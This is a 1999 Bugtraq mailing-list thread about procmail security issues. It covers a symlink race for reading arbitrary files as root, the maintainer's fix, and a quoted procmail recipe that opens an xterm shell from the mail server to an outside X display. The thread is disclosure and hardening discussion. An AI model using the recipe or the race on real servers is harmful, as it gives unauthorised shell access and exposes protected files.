Date: Mon, 5 Apr 1999 19:40:37 +0100 From: Chris Evans To: BUGTRAQ@netspace.org Subject: More procmail Hi, Well well since Debian appear to have "broken silence" on the procmail front rather than wait for an official announcement... I found something potentially more serious than boring heap overflows. It is allegedly fixed in the latest procmail release but I haven't checked. As a summary local users can dump the contents of any file to screen. As a comment I would suggest anyone running procmail with elevated privs either a) Needs their head examined or b) Hasn't read the code. Here is a quote of a previous mail I sent various people when I first found the file handling issue. I also recommended to the procmail team that they review _all_ of their file handling code. I have no idea whether this recommendation was taken on board or not.. Cheers Chris -----8<-------- However on to more interesting things, I have found a much more serious security hole in procmail's file handling which can lead to users dumping the contents of arbitrary files they should not be able to read to the screen. The faulty code sequence is in the handling of .procmailrc files and goes something like 1) stat .procmailrc (as root) - if it can't be stat'ed keep root privs 2) open .procmailrc 3) do lstat on .procmailrc for security check By replacing .procmailrc after steps 1) and 2) with a symlink to the file to dump and a regular file respectively, we can win a race condition. You might not think this is a very plausible race but with a few deep directory/multiple symlink tricks/SIGSTOP/etc. the window can be made quite wide. This is definitely exploitable. ---------------------------------------------------------------------------- Date: Tue, 6 Apr 1999 21:50:03 -0400 From: Kragen Sitaker To: BUGTRAQ@netspace.org Subject: Re: more procmail Chris Evans writes: > As a comment I would suggest anyone running procmail with elevated > privs either > > a) Needs their head examined or > b) Hasn't read the code. Procmail is generally not useful when running on behalf of the person who wrote the email it's being given as input. When it is running on behalf of someone else, which is the usual case, it has privileges that the sender did not. In my book, that means it's running with elevated privs. Common examples of this situation: - filtering your incoming mail with procmail - running a mailbox (of mail from other people) through procmail -- Kragen Sitaker This is exactly how the World Wide Web works: the HTML files are the pithy description on the paper tape, and your Web browser is Ronald Reagan. -- Neal Stephenson, at http://www.cryptonomicon.com/beginning_print.html ---------------------------------------------------------------------------- Date: Tue, 6 Apr 1999 20:00:03 -0500 From: Philip Guenther To: BUGTRAQ@netspace.org Subject: Re: More procmail Chris Evans writes: ... >As a summary local users can dump the contents of any file to screen. As a >comment I would suggest anyone running procmail with elevated privs either > >a) Needs their head examined or >b) Hasn't read the code. > >Here is a quote of a previous mail I sent various people when I first >found the file handling issue. I also recommended to the procmail team >that they review _all_ of their file handling code. I have no idea whether >this recommendation was taken on board or not.. Hmm, I guess I failed to cc you on the discussion that later took place on this issue. What we eventually settled on and was incorporated into version 3.12 was for procmail to always open user rcfiles as the user (/etc/procmailrc will still be opened and processed as root). On some systems where special group privileges are needed to deliver to the mailspool but that have broken set*gid() system calls, procmail will attempt the open as root and if it succeeds then it'll close it, become the user, and open it again. This last case may still allow for DOS attacks by symlinking to, say, a serial device that blocks on open, so I suppose the open as root should be a non-blocking open. The truly paranoid will abolish the central mailspool directory and group 'mail' in favor of spooling mail to the user's home directory, a setup procmail readily supports. As for the rest of the file handling code, what I've had the time to review has looked safe. Procmail becomes the user before it starts processing the contents of the $HOME/.procmailrc, so problems should be limited to what the user could have done without procmail at all. While the permissions of the $HOME/.procmailrc are checked closely, procmail tries to the trust the user the rest of the time; if the user wants to process recipes from someone else's rcfile, procmail will let them: trusting the other user was their explicit choice. Resource consumption attacks (say, opening /dev/zero as an rcfile) should be dealt with like all resource consumptions attacks: audit and keep a baseball bat next to your desk. Philip Guenther Procmail Maintainer bug@procmail.org ---------------------------------------------------------------------------- Date: Wed, 7 Apr 1999 08:50:28 -0700 From: Ricky Connell To: BUGTRAQ@netspace.org Subject: Re: More procmail Philip Guenther writes: =Procmail becomes the user before it starts =processing the contents of the $HOME/.procmailrc, so problems should be =limited to what the user could have done without procmail at all. Not quite true. The procmail rule: :0 * ^Subject: HACK | setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh will, in fact, pop a shell from the secured mail server to whereever the user specifies, running as the user. So if they control their own .procmailrc, they can log into the mail server whenever they desire, which may not be a machine that they would normally have access to. The paths may need to be changed to reflect the OS of the mail server. I have patched my procmail to deal with this by forcing it to use smrsh. In doing so, I also discovered the procmail calls sendmail explicitly at some point in it's operation (didn't take the time to figure out where it does it). This might also be of concern, but it wasn't immediately obvious to me how this might be exploited. -- Ricky --- ricky@smi.stanford.edu (650) 498-4405 Unix and Network Administrator ---------------------------------------------------------------------------- Date: Wed, 7 Apr 1999 12:51:20 -0500 From: Christopher P. Lindsey To: BUGTRAQ@netspace.org Subject: Re: More procmail > :0 > * ^Subject: HACK > | setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh > > I have patched my procmail to deal with this by forcing it to use > smrsh. In doing so, I also discovered the procmail calls sendmail > explicitly at some point in it's operation (didn't take the time to figure > out where it does it). This might also be of concern, but it wasn't > immediately obvious to me how this might be exploited. Exactly, and I've been debating this with Philip for quite some time now. I'm not saying that either one of us is right, but this type of problem is particularly worrisome in our environment at NCSA. I also wrote a patch about a year ago (or maybe it's the one that you used) against 3.11pre7, available at http://mirror.ncsa.uiuc.edu/procmail/patches/smrsh-like.patch I'll be writing one for 3.13.x and adding the same functionality to formail when I have the time. Chris